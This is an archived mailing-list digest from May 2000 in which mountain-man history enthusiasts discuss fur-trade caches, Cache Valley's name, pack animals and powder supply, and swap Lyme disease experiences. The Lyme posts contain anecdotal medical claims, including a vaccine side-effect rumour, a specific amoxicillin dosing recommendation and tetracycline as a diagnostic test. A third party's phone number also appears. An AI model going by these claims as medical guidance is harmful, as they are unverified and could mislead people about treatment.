that hike to blacktail plateau. I would also like to do other short hikes. I
have
a handicapped youngster who is mobile, but he can only negotiate the
smoothest
of hiking trails, so short walks on smooth trails is a must if we hike as a
family,
though I will probably do one day hike on my own.

That must have been an awesome wedding ceremony, smack in the middle
of all God's wonders.
J.D.






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From: "jdearing" <[e-mail]>
Subject: Re: MtMan-List: Wonderful country
Date: 18 May 2000 19:56:02 -0500

Almost forgot, Thanks to all who responded to my question about sites to
visit
in theYellowstone area.  I would like to attend some sort of primitive
doins, and
show y'all how  well us Missourians can shoot, but lack of time and space to
carry
my primitive gear and shootin' iron won't allow it, so y'all got lucky.
<LOL>

Thanks again.
J.D.




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From: [e-mail]
Subject: Re: MtMan-List: Cache Valley
Date: 18 May 2000 21:58:59 EDT

Rather than guessing, a look at the available primary  records provides an
interesting tale.

" A man in the employ of Smith, Sublette and Jackson, was engaged with a
detached party, in constructing one of those subterrab\nean vaults for the
reception of furs, already described.  The cache was nearly completed, when a
large quantity of earth fell in upon the poor fellow, and completely buried
him alive.  His companions believed him to have been instantly killed, knew
him to be well buried, and the cache destroyed, and therefore left him

    Unknelled, uncoffined, ne'er to rise,
    Till Gabriel's trumpet shakes the skies,

and accomplished their objective elsewhere.  It was a heartless, ruel
procedure, but serves to show how lightly human life is held in these distant
wilds."  (Ferris, A. W. Life in the Rocky Mountains.  Old West Publishing Co.
Denver, CO. 1983. p. 123-24.)

Jim Beckwourth claims to have been there at the time.  "We spent the winter
very comfortable, and at the opening of spring we all moved -- whites and
Indians -- back to Cache Valley.  Soon after we arrived we commenced digging
cahces to secure seventy-five packs of beaver-skins in the possession of our
party.  While digging a cache in the bank, the earth caved in, killing two of
our party, who were Canadians.  The Indians claimed the privilege of burying
them, which ceremony they performed by hoisting them up in trees."
(Beckwourth, James. The Life and times of James P. Beckwourth. Thomas D.
Bonner, ed.  University of Nebraska Press, Linocl, NB.  1972. p. 96.)

This apparently occurred in the spring of 1827.  Note that Beckwourth's
account slightly differs from that of Ferris.  Beckwourth, if he was truly
there, may be the more accurate, while Ferris is repeating the story he's
been told.  regardless, due to this incident, and perhaps because som many
caches were dug in the area, the trappers soon changed the name of the valley
to Cache Valley.  It's original name was Willow Valley.  Beckwourth appears
to be the first to use the new name in reference to the area.

Hiram M. Chittenden, not a primary source, says the name comes "from some
unrecorded circumstance, possibly from the cache of beaver furs belonging to
Peter Skene Ogden which shadowy tradition says was 'lifted' by General
Ashley, to the latter's great financial advancement."  (Chittenden, Hiram M. A
 History of the American Fur Trade of the Far West. 2 Vols. Academic
Reprints, Stanford, CA. 1954. vol. 2. p. 749.)

For what it matters...

Jim Hardee
P.o. Box 1228
Quincy, Ca  95971

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From: [e-mail]
Subject: Re: [Re: MtMan-List: priming horn]but refers to daily caches
Date: 18 May 2000 21:59:08 EDT

Would someone provide a reference to trappers making daily caches? I find it
hard to swallow.

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From: jerry derringer <[e-mail]>
Subject: Re: MtMan-List: lymes disease
Date: 18 May 2000 21:11:19 -0500


--------------90E3F1756F524413568A9E6A
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

I almost had the vaccine, but found put from a few avid hunters in this
area that about 28% of the folks that has had the vaccine have come down
with symptons similar to the disease, so beware! Also a friend sent me
an address which I have not looked at,  abcnewsgo.com I believe, article
was concerned with a lawsuit against the vaccine.
jd in Indiana

Ratcliff wrote:

>   Ho the listI have something serious to talk about so listen up.  It
> ain't history oriented, but that's too bad. Last fall my brother
> contracted lymes disease, a tick borne infectious disease that is
> getting more widespread daily.  He has been hospitalized several times
> and has some scary symptoms.  Some people die from the disease, but it
> is more often just dibilitating.  His doctor told him that he will be
> off work a minimum of six months, but more likely at least a year.
> Luckily his employer, the City of Arlington, Texas, is being very
> cooperative and between workman's comp and the city he will continue
> to receive his full salary.  Yes,  I said workman's comp.  His
> occupation, utility worker, is among the most widely affected groups
> and with the excellent documentation my brother provided he was
> approved for workman's comp.  In fact, he is thought to be the first
> person in Texas to be approved for  workman's comp due to lymes
> disease.Lymes disease is contracted from a tick about the size of a
> grain of coarse pepper, not the big dog ticks that you can actually
> see.  The disease is widespread all over the USA and is approaching
> epidemic proportions in some areas.  My brother's doctor said that
> state tourism departments are downplaying the disease for fear of
> scaring off tourists.  How do you like that?!Any of us who use the
> outdoors, and who uses the outdoors more that buckskinners?, are
> subject to infection and should make ourselves aware of the dangers
> and possible preventive measures.  There is a vaccine, LYMErix, that
> goes a long way toward preventing infection.  I have included below a
> couple of sites to find out more about this disease and about the
> vaccine.   I intend to get the vaccine immediately and I urge
> everybody to read this and any other information about lymes disease
> and decide for themselves what is best for them.My brother told me
> that he will gladly talk to anybody about his case and effects it has
> had on his life.  He asks that you call no later than 9:00pm Central
> Time.  My brother's name is Danney Ratcliff and his phone number is
> 817 483 0588YMOSLanney
> Ratcliff http://lymerix.com/ http://www.pslgroup.com/dg/148ba2.htm



--------------90E3F1756F524413568A9E6A
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<HTML>
<BODY BGCOLOR="#FFFFFF">
I almost had the vaccine, but found put from a few avid hunters in this
area that about 28% of the folks that has had the vaccine have come down
with symptons similar to the disease, so beware! Also a friend sent me
an address which I have not looked at,  abcnewsgo.com I believe, article
was concerned with a lawsuit against the vaccine.
<BR>jd in Indiana

<P>Ratcliff wrote:
<BLOCKQUOTE TYPE=CITE> <STYLE></STYLE>
<FONT SIZE=+0>Ho the list</FONT>I
have something serious to talk about so listen up.  It ain't history
oriented, but that's too bad. Last fall my brother contracted lymes
disease, a tick borne infectious disease that is getting more widespread
daily.  He has been hospitalized several times and has some scary
symptoms.  Some people die from the disease, but it is more often
just dibilitating.  His doctor told him that he will be off work a
minimum of six months, but more likely at least a year.  Luckily his
employer, the City of Arlington, Texas, is being very cooperative and between
workman's comp and the city he will continue to receive his full salary.
Yes,  I said workman's comp.  His occupation, utility worker,
is among the most widely affected groups and with the excellent documentation
my brother provided he was approved for workman's comp.  In fact,
he is thought to be the first person in Texas to be approved for
workman's comp due to lymes disease.Lymes disease is contracted from a
tick about the size of a grain of coarse pepper, not the big dog ticks
that you can actually see.  The disease is widespread all over the
USA and is approaching epidemic proportions in some areas.  My brother's
doctor said that state tourism departments are downplaying the disease
for fear of scaring off tourists.  How do you like that?!Any of us
who use the outdoors, and who uses the outdoors more that buckskinners?,
are subject to infection and should make ourselves aware of the dangers
and possible preventive measures.  There is a vaccine, LYMErix, that
goes a long way toward preventing infection.  I have included below
a couple of sites to find out more about this disease and about the vaccine.
I intend to get the vaccine immediately and I urge everybody to read this
and any other information about lymes disease and decide for themselves
what is best for them.My brother told me that he will gladly talk to anybody
about his case and effects it has had on his life.  He asks that you
call no later than 9:00pm Central Time.  My brother's name is Danney
Ratcliff and his phone number is 817 483 0588YMOSLanney Ratcliff <FONT SIZE=+0><A HREF="http://lymerix.com/">http://lymerix.com/</A></FONT> <FONT SIZE=+0><A HREF="http://www.pslgroup.com/dg/148ba2.htm">http://www.pslgroup.com/dg/148ba2.htm</A></FONT></BLOCKQUOTE>

</BODY>
</HTML>

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From: Allen Hall <[e-mail]>
Subject: Re: [Re: MtMan-List: priming horn]
Date: 18 May 2000 23:01:48 -0600

At 07:11 PM 05/16/2000 -0600, you wrote:
>Ole,
>What do you mean?  ....the pack animals were not there to hall goods in they
>were there to haul pelt's out"
>Walt

Walt,

I have to disagree with ya here.  Pack animals were just that, to pack
equipment and plews around.  The pack animals that brought goods out, turned
right around and took plews back to St. Louis, that was the deal.  The
trappers in the mountains had need, daily need, of pack animals.

We've done enough horse back travel to know that one horse will keep a
single man moving and haul his personal equipment.  But when you add traps,
any kind of supplies at all, you're talking about pack animals.  But heck,
don't listen to me, saddle up your pony and give it a go!

Allen


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From: "Walt Foster" <[e-mail]>
Subject: Re: [Re: MtMan-List: priming horn]
Date: 18 May 2000 23:37:31 -0600

> Walt, > I have to disagree with ya here.  Pack animals were just that, to
pack
> equipment and plews around.  The pack animals that brought goods out,
turned
> right around and took plews back to St. Louis, that was the deal.   But
heck,
> don't listen to me, saddle up your pony and give it a go!  > Allen

That was what I asked.  I do not see any one way empty loads.  I know what
it takes to get around on horseback  You are talking St. Louis to rendezvous
site and I thought Ole was talking about the resupply by the rendezvous
mountain man.  I also thought they would try to be on trapping new ground
and not returning to last years workings.  What are we disagreeing on?  Walt


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From: Duncan Macready <[e-mail]>
Subject: Re: MtMan-List: Powder (resupply and yearly requirements)
Date: 18 May 2000 19:06:23 +1200


>Hawk wrote
>I would have took 2 to 4 ----25lb kegs of powder---75 to 150 lb of lead
>and 10 yds of patching---
In Africa a lot of powder was carried in "lead kegs" the powder was the
correct amount for the bullets cast from the container, when you wanted
more you hacked open a keg , poured the powder into horns and moulded the
bullets,
Did this happen in the USA?

YMOS
Cutfinger
Friendships made,Problems shared
Campfires across the wilderness.
Auckland, New Zealand


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From: "larry pendleton" <[e-mail]>
Subject: Re: MtMan-List: Powder (resupply and yearly requirements)
Date: 19 May 2000 05:07:55 -0700

Duncan,
  Yeah, that's exactly how Lewis and Clark carried their powder and lead
across the continent.
Pendleton
-----Original Message-----



>Hawk wrote
>I would have took 2 to 4 ----25lb kegs of powder---75 to 150 lb of lead
>and 10 yds of patching---
In Africa a lot of powder was carried in "lead kegs" the powder was the
correct amount for the bullets cast from the container, when you wanted
more you hacked open a keg , poured the powder into horns and moulded the
bullets,
Did this happen in the USA?

YMOS
Cutfinger
Friendships made,Problems shared
Campfires across the wilderness.
Auckland, New Zealand


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From: Lee Newbill <[e-mail]>
Subject: Re: MtMan-List: Powder (resupply and yearly requirements)
Date: 19 May 2000 02:59:24 -0700 (PDT)

On Thu, 18 May 2000, Duncan Macready wrote:
> In Africa a lot of powder was carried in "lead kegs" the powder was the
> correct amount for the bullets cast from the container, when you wanted
> more you hacked open a keg , poured the powder into horns and moulded the
> bullets,
> Did this happen in the USA?

Duncan

I am at work at the moment, so do not have access to my books, but I
believe Captains Lewis & Clark, 1803-1806, carried powder and lead in this
manner, though the exact weight of the lead keg, and the amount of powder
held in them was not documented...... to my knowledge.

Your Most Obedient Servant...

Lee Newbill of North Idaho
Clerk of the Hog Heaven Muzzleloaders
www.geocities.com/northscribe


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From: "Ole B. Jensen" <[e-mail]>
Subject: Re: [Re: MtMan-List: priming horn]
Date: 19 May 2000 08:11:19 -0600

Allen,
I agree with you, I have long belived that each Mountain Man had about 2 to
3 pack animals. The resuply was done at the Rendezvous where company men
would use there pack animals and carts to take the plews back to St Louis.
The reason for a Cache in my mind would be so that you didn't have to haul
things that you didn't need daily and to store extra equipmemt and supplies.
For instance if you were heading to rendezvous to sell your plews and were
comming back to the same area, you would not haul extra powder, lead, traps.
You would travel light and carry your catch, this would leave plenty of room
to use your pack animals for resuply for the winter.
YMOS
Ole # 718
----------
>From: Allen Hall <[e-mail]>
>To: [e-mail]
>Subject: Re: [Re: MtMan-List: priming horn]
>Date: Thu, May 18, 2000, 11:01 PM
>

>At 07:11 PM 05/16/2000 -0600, you wrote:
>>Ole,
>>What do you mean?  ....the pack animals were not there to hall goods in they
>>were there to haul pelt's out"
>>Walt
>
>Walt,
>
>I have to disagree with ya here.  Pack animals were just that, to pack
>equipment and plews around.  The pack animals that brought goods out, turned
>right around and took plews back to St. Louis, that was the deal.  The
>trappers in the mountains had need, daily need, of pack animals.
>
>We've done enough horse back travel to know that one horse will keep a
>single man moving and haul his personal equipment.  But when you add traps,
>any kind of supplies at all, you're talking about pack animals.  But heck,
>don't listen to me, saddle up your pony and give it a go!
>
>Allen
>
>
>----------------------
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>

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From: [e-mail]
Subject: Re: [Re: MtMan-List: trappin & packin was priming horn]
Date: 19 May 2000 11:03:22 EDT

Ole, Walt made a good point by the time Rendezvous time came around their
supplies were pretty well used up. The only thing a man would have been
packin in to Redness that was not needed at the time was his traps. They
might have a lodge skin cached where they in tended to winter but that would
be about it. As far as headin back to the same trappin grounds if they had
done their job that area would have been pretty much trapped out.
                     Thoughts from the
                       Cyot

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From: Concho Smith <[e-mail]>
Subject: Re: [Re: MtMan-List: Cacheing goods.]
Date: 19 May 2000 11:30:48 EDT

"northwoods" <[e-mail]> wrote:
>How do you think the Cache Valey got it's name?  Dog,
>Gabe's Hole Brig.


Do you know how it got its name? Unless I am mistaken I believe it was
because some men were killed while in the process of making a cache. The
hole they were excavating collapsed in on them. A typical method of makin=
g a
cache for a large amount of goods was to excavate a hole in the earth,
usually near a stream or some type of water where the earth that was take=
n
out of the hole could be disposed of without leaving any sign, and then
placing goods to be cached inside and covering all remaining sign of any
type of activity. Of course a cache could consist of a large amount of
goods, or just one item. A good way of caching traps was to leave them
underwater, like in a spring, lake, or stream.

T. Clark
Tony,

That's how the "Cache La Poudre River" got it's name, some French trapper=
s had
a cache of powder on that stream in Colorado.

Concho.

____________________________________________________________________
Get your own FREE, personal Netscape WebMail account today at http://webm=
ail.netscape.com.

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From: [e-mail]
Subject: Re: [Re: MtMan-List: Cacheing goods.]
Date: 19 May 2000 12:10:46 EDT

I have always thought that had to be one of most dangerous things they did. I
would rather face a griz then jump down in a hole dug the shape of a pop
bottle five feet and deeper. That gust askin to be buried alive there was
probably quit a few that lost their lives or all most lost their lives doing
this.
                    Crazy Cyot

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From: "Frank Fusco" <[e-mail]>
Subject: MtMan-List: priming powder
Date: 19 May 2000 18:36:51 -0500

    With all the talk about priming powder, I have recalled a situation from
the early 1970's during which there was a shortage of 4Fg.
    Then U.S. Senator Birch Bahy (sp?), Democrat of Indiana, sponsored the
"Black Powder Relief Bill".  Yea, right, his "relief" is what brought about
the burdensome regulations that restrict, shipping, sale, storage and so on
of black powder, not to mention drastically increasing the cost.
    But I stray from topic.............
    One of the results was a shortage of 4Fg for a couple years.  During
that time some enterprising company made and sold a "4F grinder".  It was a
wood device about four inches long with a long concave hole and a handle
with a loosely fitting round handle. You simply put in the coarse powder and
ground it up.
    Made good dust but nothing like true 4Fg.
    Today it is a curiosity and a reminder of how some politicians can lie.
Relief? BS !
Frank "Bearclaw" Fusco, Mountain Home, Arkansas


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From: "Matthew Porter" <[e-mail]>
Subject: MtMan-List: Ticks
Date: 19 May 2000 17:02:48 -0500

To all,
    Does anyone no what species of tick carries the lyme disease?  Down
here, we have at least 3 different species.  Thanks for any help.

YMHS
Matt Porter



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From: "northwoods" <[e-mail]>
Subject: Re: [Re: MtMan-List: priming horn]but refers to daily caches
Date: 19 May 2000 19:23:38 -0500


-----Original Message-----


>Would someone provide a reference to trappers making daily caches? I find
>it hard to swallow.

Depends what your definition of a cache is I guess. I can't provide a
reference, however here is something to think about. I've found that often
times when a person spends extended time out of doors in the wild that they
are eventually faced with a situation in which they say to themselves " I
think i'll just stash this here and come back for it tommorrow" (or next
week,month, or whatever). For instance, they shot some game and have to
cache part till they can return the next day, they found something that they
can't transport at the moment (let your imagination work here), they stole
something from an enemy, they got injured or sick, they injured a pack
animal, they were in a fight, they lost something, the possibilities are
endless. Say they were out from camp a distance and wanted to get back
before the end of day, but had to return to the same spot the following day.
Could be that if they had items that were dead weight and they wouldn't need
till they returned the next day,they would just cache them? Like some traps
for instance. Personally I have a habit when I am in the woods, which is
most every day and I cover a lot of different country, I always am looking
for spots that are good "hiding" places, or I should say that are suitable
for hiding or caching something. Places and things that catch my eye might
be a unique geographical feature like a rock formation, or a spring, or a
large tree, or an island, somewhere that a person would be able to find
again and would afford a safe place to stick something away or bury. Many
times I have found items that I am sure were hidden, and then never
recovered for some reason. Everything from prehistoric artifacts, fur trade
items, to more recent items. Since I live in WI where a lot of logging went
on across the entire state 100 to 150 yrs. ago I have found many items from
these log gone people. How many times when I see a spot that I figure might
make a good spot to put something and "come and get it tomorrow" I start
poking around and find an axe, saw, or better yet, a long handforged chain.
Just something to think about I know it ain't a reference,
T. Clark



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From: [e-mail]
Subject: Re: [Re: MtMan-List: priming horn]but refers to daily caches
Date: 19 May 2000 21:19:34 EDT

> Depends what your definition of a cache is I guess. I can't provide a
>  reference, however here is something to think about. I've found that often
>  times when a person spends extended time out of doors in the wild that they
>  are eventually faced with a situation in which they say to themselves " I
>  think i'll just stash this here and come back for it tommorrow"

There is a story of a well known trapper who lived wild in the Boundary
Waters area of Minnesota and Canada.  A book was written about him, but I
can't remember what it was.  He seldom returned to civilization except to
sell furs and to get resupplied.  He had caches all over the Boundary Waters
that included dried grains, coffee or tea, and tin cans.  He used the cans to
store the food and also to cook in.  This was around the turn of the century
and he was one of the last of the wild trappers in that area.

In Canada, robbing another man's cache was a crime punishable by death if you
were caught.  This was true until recent times, and may still be true today
in the more wild parts of that country.  Caches were made for survival
situations, so a man always knew where to go if he lost his food, or his
canoe dumped, etc.

Perhaps Angella is more familiar with the laws as they exist today.

Dave Kanger

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From: "Walt Foster" <[e-mail]>
Subject: Re: [Re: MtMan-List: priming horn]but refers to daily caches
Date: 19 May 2000 20:25:56 -0600

lived wild in the Boundary
> Waters area of Minnesota and Canada.  A book was written about him, but I
> can't remember what it was.  He seldom returned to civilization except to
> sell furs and to get resupplied.  He had caches all over the Boundary
Waters
> that included dried grains, coffee or tea, and tin cans.  He used the cans
to
> store the food and also to cook in.  This was around the turn of the
century
> and he was one of the last of the wild trappers in that area.> Dave Kanger

Hi Dave, I was in the Fort Francis area.  This is the area of the woodsman
not the mountain men.  I was lucky.  I was in the company of some of the
decendents of the fur trade.  Cacheing in that country and in this country
are 2 very different things.  It is one thing to travel back and forth
across familiar ground on foot or whatever and quite another to be on horse
back and not returning to familiar spots frequently.  Making a big cache had
to be a super big risk for the mountain men with the fur trade wars that
were going on during the mountain man period.  Walt



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From: "northwoods" <[e-mail]>
Subject: Re: [Re: MtMan-List: priming horn]but refers to daily caches
Date: 19 May 2000 21:45:49 -0500


-----Original Message-----


 Making a big cache had
>to be a super big risk for the mountain men with the fur trade wars that
>were going on during the mountain man period.  Walt


Less of a risk than hauling it all around with you in many cases.

northwoods


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From: Frank <[e-mail]>
Subject: Re: MtMan-List: Ticks
Date: 19 May 2000 21:25:33 -0700

Definately english ticks, other wise known as lymies!
Okay...I'm going to my corner now...bad skinner bad skinner!

Frank

Matthew Porter wrote:

> To all,
>     Does anyone no what species of tick carries the lyme disease?  Down
> here, we have at least 3 different species.  Thanks for any help.
>
> YMHS
> Matt Porter
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


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From: Duncan Macready <[e-mail]>
Subject: MtMan-List: English sporters
Date: 19 May 2000 17:20:56 +1200

I know that English "Sporting Gents" attended various Rendezvous and hunted
in the West , is there any record of the firearms these men used.?
YMOS
Cutfinger
Friendships made,Problems shared
Campfires across the wilderness.
Auckland, New Zealand


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From: [e-mail]
Subject: Re: MtMan-List: Ticks
Date: 20 May 2000 03:05:21 -0400

Matt,
    Deer ticks carry and spread lyme.  Lyme disease is named for the town
Lyme, Connecticut where it was identified or discovered.  The latest
theory is that other types of ticks may now be spreading Lyme.  I have
recently been diagnosed with Lyme that I have had for a lot of years.  I
am well into the third stage of Lyme disease.  I have been falsley
diagnosed with other things and treated for these ( the treatments did
not help at all) until I had insurance that allowed me to finally see a
specialist and leader in the treatment of Lyme.   I will likely be on
anti-biotics for a couple of years.
    Some interesting facts are that if you have had Lyme disease for some
time and it was not caught and treated soon after the tick bite, the Lyme
infection moves out of the blood and into the muscle tissue where it
causes body aches, joint pain with no swelling (eventually turning into
arthritus, not rumetoid arthritus, I forget the name of this type of
arthritus).  80% of people who are in this boat will show negative in the
blood test called Lyme Titers.  There is no definative blood test for
Lyme disease.  When the Lyme titers is negative, there may be elevations
of other counts in the blood that are possible indicators of Lyme.  Most
doctors are not aware of these things and make a diagnosis based on the
Lyme Titers count.  Also a lot of blood testing labs don't do the Lyme
culture correctly, leading to a false negative reading.
    The one definative in diagnosing Lyme is to be on Tetracycline (sp) for
a time.  Around the fourth week if you have Lyme, you will get sick with
flu like symptoms including feaver and chills, body aches, etc.  Lime
bacteria grows in monthly cycles, and the tetracycline kills the Lyme.
The pain at this time comes from the dead Lyme bacteria in the muscle
tissue.  I'm not sure how this bacteria leaves the body, but it does.
Massage helps the process.  Tetracycline is stopped usually in May and
other antibiotics like Hydroxychlor and Biaxin are perscribed until
September or October when tetracycline can again be used.  Also pain
medication such as Neurontin and darvocet (sp) can help for sleep and
pain.  Often after a while of treatment, the Lyme titers in the blood
will at some time show positive where before treatment it showed
negative.  The long term treatment for Lyme disease in the late stage is
to over a period of time to find the right combination of antibiotics to
kill the Lyme and other medications to cope with problems caused by the
Lyme like not sleeping well (which is critical along with stress
reduction).  My doctor has advised me to stop work by going out on
disability, however, I am going to keep working as long as I can,
hopefully all the way through the treatment.  One of the best stress
reducers I can think of is being at a Mountain Man camp or Vous, but I
don't need to tell you good folks that.  Lyme (long term) does different
things to different people.  I had a conversation with a brother recently
who advised me he knew someone that was having heart trouble.  They did
surgery and implanted a pacemaker, and sometime after that they
discovered he had Lyme disease which was the cause of the heart trouble.
Hope this helps.
Trap-R-John
YMHOS
AMM - White Mountain Party
"Don't compromise on your civil rights, they are yours!!!  Stand up for
what's right!!!"


On Fri, 19 May 2000 17:02:48 -0500 "Matthew Porter"
<[e-mail]> writes:
> To all,
>     Does anyone no what species of tick carries the lyme disease?
> Down
> here, we have at least 3 different species.  Thanks for any help.
>
> YMHS
> Matt Porter
>
>
>
> ----------------------
> hist_text list info:
> http://www.xmission.com/~drudy/mtman/maillist.html

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From: [e-mail]
Subject: Re: MtMan-List: Ticks
Date: 20 May 2000 07:34:23 EDT

John,
You got that right.  Most doctors are very hesitant to test for Lyme.  Best
thing to do if you got tic bites is to insist that your doctor prescribe
Amoxicillin. Preferably 500 mg capsule, three times a day.  This will almost
always stop the infection.  Then, the vaccine is a good follow up especially
if you're going to be on the ground.
The big lesson we learned that we can pass along is if in doubt, get treated.
 If you believe you got Lyme, get a blood test for it.  The doctors are
hesitant to have the test done usually because they have to be sent out and
not done by local labs.  True, there are false positives and false negatives
but they are in the  90% range.  About a month after I got infected, I tested
positive.  I insisted on the test at the same time of my cholesterol check.
The Dr. finally said, "I suppose you'd feel better if we did the test."  He
called with the results indicating he was glad I had insisted.
 l took the amoxycillin for 21 days and that was (is) supposed to take care
of the Lyme infection.  Also, I got my first shot for the vaccine.  My next
shot is next month and my third and last in the series is in about six months
or so.  It is by LYMErix.  The thing to remember is that nothing is 100%, the
test, the vaccine, etc.  Don't bitch, take advantage of the positive odds.
LYMErix does have a web site.  On it you can sign up for ongoing information
by registering as a person taking their shots.  In fact, I'm going back to
them this morning.  Good site!  Take care, YF&B
Bob  /  Hawker

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From: "Ole B. Jensen" <[e-mail]>
Subject: Re: [Re: MtMan-List: trappin & packin was priming horn]
Date: 20 May 2000 07:12:00 -0600

Cracy,
OK! no more beating around the bush, Caching goods was nothing moore than a
way to keep from having to haul everything. What I have been trying to say
is this, with the amount of pack animals that they had it is verry possible
to haul a lot of goods back from Rendezvous. The way we use horses today is
more like a trail ride than a work party, some of the things we would never
think of taking on a pack trip today were taken in the old days. The caching
of goods would indicate to me that they would return to certain area's for
what ever reason "base camp or winter camp".
I would invite your comment's.
YMOS
Ole # 718
----------
>From: [e-mail]
>To: [e-mail]
>Subject: Re: [Re: MtMan-List: trappin & packin was priming horn]
>Date: Fri, May 19, 2000, 9:03 AM
>

>Ole, Walt made a good point by the time Rendezvous time came around their
>supplies were pretty well used up. The only thing a man would have been
>packin in to Redness that was not needed at the time was his traps. They
>might have a lodge skin cached where they in tended to winter but that would
>be about it. As far as headin back to the same trappin grounds if they had
>done their job that area would have been pretty much trapped out.
>                     Thoughts from the
>                       Cyot
>
>----------------------
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>

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From: "Wynn & Gretchen Ormond" <[e-mail]>
Subject: MtMan-List: Quotes
Date: 19 May 2000 19:55:30 -0600

This is a multi-part message in MIME format.

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    charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Laura asked for favorite quotes a while back and i thought I would give =
a few. Mine are not as poetic as hers by any means, but there is a =
picture they paint for me.

In Rivers of the West Ms. Victor quotes Joe Meek. If you know the =
circumstances you will understand the humor if not you can use your =
imagination and be pretty close to the truth.

" Then," says Meek, " Craig began to sing, and I began to laugh; but =
Nelson took to swearing. '



The other quote is from Catlin. (letter 41) I find myself envious of the =
little man on the white horse. He is rougher on his steed than I would =
ever want to be, but his confidence and skill are such that he can =
impress two. . . . well let Catlin tell it.=20



On the fourth day of our march, we discovered. . . . a large party at =
several miles distance, sitting on their horses and looking at us. From =
the glistening of the blades of their lances, which were blazing as they =
turned them in the sun, it was at first thought that they were Mexican =
cavalry, who might have been apprized of our approach into their =
country, and had advanced to contest the point with us. On drawing a =
little nearer, however, and scanning them closer with our spy-glasses, =
they were soon ascertained to be a war-party of Camanchees, on the look =
out for their enemies.=20

The regiment was called to a halt, and the requisite preparations made =
and orders issued, we advanced in a direct line towards them until we =
had approached to within two or three miles of them, when they suddenly =
disappeared over the hill, and soon after shewed themselves on another =
mound farther off and in a different direction. The course of the =
regiment was then changed, and another advance towards them was =
commenced, and as before, they disappeared and shewed themselves in =
another direction. After several such efforts which proved ineffectual, =
Col. Dodge ordered the command to halt, while he rode forward with a few =
of his staff, and an ensign carrying a white flag. I joined this =
advance, and the Indians stood their ground until we had come within =
half a mile of them, and could distinctly observe all their numbers and =
movements. We then came to a halt, and the white flag was sent a little =
in advance, and waved as a signal for them to approach; at which one of =
their party galloped out in advance of the war-party, on a milk white =
horse, carrying a piece of white buffalo akin on the point of his long =
lance in reply to our flag.=20

This moment was the commencement of one of the most thrilling and =
beautiful scenes I ever witnessed. All eyes, both from his own party and =
ours, were fixed upon the manoeuvres of this gallant little fellow, and =
he well knew it.=20

The distance between the two parties was perhaps half a mile, and that a =
beautiful and gently sloping prairie; over which he was for the space of =
a quarter of an hour, reining and spurring his maddened horse, and =
gradually approaching us by tacking to the right and the left, like a =
vessel beating against the wind. He at length came prancing and leaping =
along till he met the flag of the regiment, when he leaned his spear for =
a moment against it, looking the bearer full in the face, when he =
wheeled his horse, and dashed up to Col. Dodge, with his extended hand, =
which was instantly grasped and shaken. We all had him by the hand in a =
moment, and the rest of the party seeing him received in this friendly =
manner, instead of being sacrificed, as they undoubtedly expected, =
started under "full whip" in a direct line towards us. . . .


------=_NextPart_000_0015_01BFC1CC.2FCFCD20
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial>
<P><FONT size=3D2>Laura asked for favorite quotes a while back and i =
thought I=20
would give a few. Mine are not as poetic as hers by any means, but there =
is a=20
picture they paint for me.</FONT></P>
<P><FONT size=3D2>In Rivers of the West Ms. Victor quotes Joe Meek. If =
you know=20
the circumstances you will understand the humor if not you can use your=20
imagination and be pretty close to the truth.</FONT></P></FONT><FONT =
face=3DArial=20
size=3D2>
<P>" Then," says Meek, " Craig began to sing, and I began to laugh; but =
Nelson=20
took to swearing. ‘</P></FONT>
<P> </P>
<P><FONT size=3D2>The other quote is from Catlin. (letter 41) I find =
myself=20
envious of the little man on the white horse. He is rougher on his steed =
than I=20
would ever want to be, but his confidence and skill are such that he can =
impress=20
two. . . . well let Catlin tell it. </FONT></P>
<P> </P>
<P><FONT size=3D2>On the fourth day of our march, we discovered. . . . a =
large=20
party at several miles distance, sitting on their horses and looking at =
us. From=20
the glistening of the blades of their lances, which were blazing as they =
turned=20
them in the sun, it was at first thought that they were Mexican cavalry, =
who=20
might have been apprized of our approach into their country, and had =
advanced to=20
contest the point with us. On drawing a little nearer, however, and =
scanning=20
them closer with our spy-glasses, they were soon ascertained to be a =
war-party=20
of Camanchees, on the look out for their enemies. </FONT></P>
<P><FONT size=3D2>The regiment was called to a halt, and the requisite=20
preparations made and orders issued, we advanced in a direct line =
towards them=20
until we had approached to within two or three miles of them, when they =
suddenly=20
disappeared over the hill, and soon after shewed themselves on another =
mound=20
farther off and in a different direction. The course of the regiment was =
then=20
changed, and another advance towards them was commenced, and as before, =
they=20
disappeared and shewed themselves in another direction. After several =
such=20
efforts which proved ineffectual, Col. Dodge ordered the command to =
halt, while=20
he rode forward with a few of his staff, and an ensign carrying a white =
flag. I=20
joined this advance, and the Indians stood their ground until we had =
come within=20
half a mile of them, and could distinctly observe all their numbers and=20
movements. We then came to a halt, and the white flag was sent a little =
in=20
advance, and waved as a signal for them to approach; at which one of =
their party=20
galloped out in advance of the war-party, on a milk white horse, =
carrying a=20
piece of white buffalo akin on the point of his long lance in reply to =
our flag.=20
</FONT></P>
<P><FONT size=3D2>This moment was the commencement of one of the most =
thrilling=20
and beautiful scenes I ever witnessed. All eyes, both from his own party =
and=20
ours, were fixed upon the manoeuvres of this gallant little fellow, and =
he well=20
knew it. </FONT></P>
<P><FONT size=3D2>The distance between the two parties was perhaps half =
a mile,=20
and that a beautiful and gently sloping prairie; over which he was for =
the space=20
of a quarter of an hour, reining and spurring his maddened horse, and =
gradually=20
approaching us by tacking to the right and the left, like a vessel =
beating=20
against the wind. He at length came prancing and leaping along till he =
met the=20
flag of the regiment, when he leaned his spear for a moment against it, =
looking=20
the bearer full in the face, when he wheeled his horse, and dashed up to =
Col.=20
Dodge, with his extended hand, which was instantly grasped and shaken. =
We all=20
had him by the hand in a moment, and the rest of the party seeing him =
received=20
in this friendly manner, instead of being sacrificed, as they =
undoubtedly=20
expected, started under "full whip" in a direct line towards us. . .=20
.</FONT></P></DIV></BODY></HTML>

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From: [e-mail]
Subject: Re: MtMan-List: English sporters
Date: 20 May 2000 10:27:15 EDT

William Drummond Stewart was a Scotsman who went to the mountains in 1833.
Check out any info on him including his novel, "Edward Warren".  I'll try to
research more when I have time.
Till trails cross
